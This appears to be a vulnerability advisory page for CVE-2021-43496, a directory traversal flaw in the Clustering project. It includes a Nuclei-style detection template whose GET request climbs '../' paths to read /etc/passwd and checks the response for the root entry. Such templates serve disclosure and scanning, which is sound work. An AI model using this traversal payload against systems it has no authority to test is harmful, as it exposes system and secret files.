CVE-2021-43496: Clustering Local File Inclusion

2025-08-01 Clustering PoC Public

Description

Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.

PoC

id: CVE-2021-43496

info:
  name: Clustering Local File Inclusion
  author: Evan Rubinstein
  severity: high
  description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/varun-suresh/Clustering/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43496
    - https://github.com/StarCrossPortal/scalpel
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/apif-review/APIF_tool_2024
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43496
    cwe-id: CWE-22
    epss-score: 0.15928
    epss-percentile: 0.96719
    cpe: cpe:2.3:a:clustering_project:clustering:2019-07-26:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: clustering_project
    product: clustering
  tags: cve2021,cve,lfi,clustering,clustering_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/img/../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 490a004630440220117227f58246a7a4d77383d3c4cc5a67baac8ffe905bf8bc541e745883a6a23c0220377954adf49a7b6a76e23ffd9facce7b8504b830e31856ab3a81cf191187d9e6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities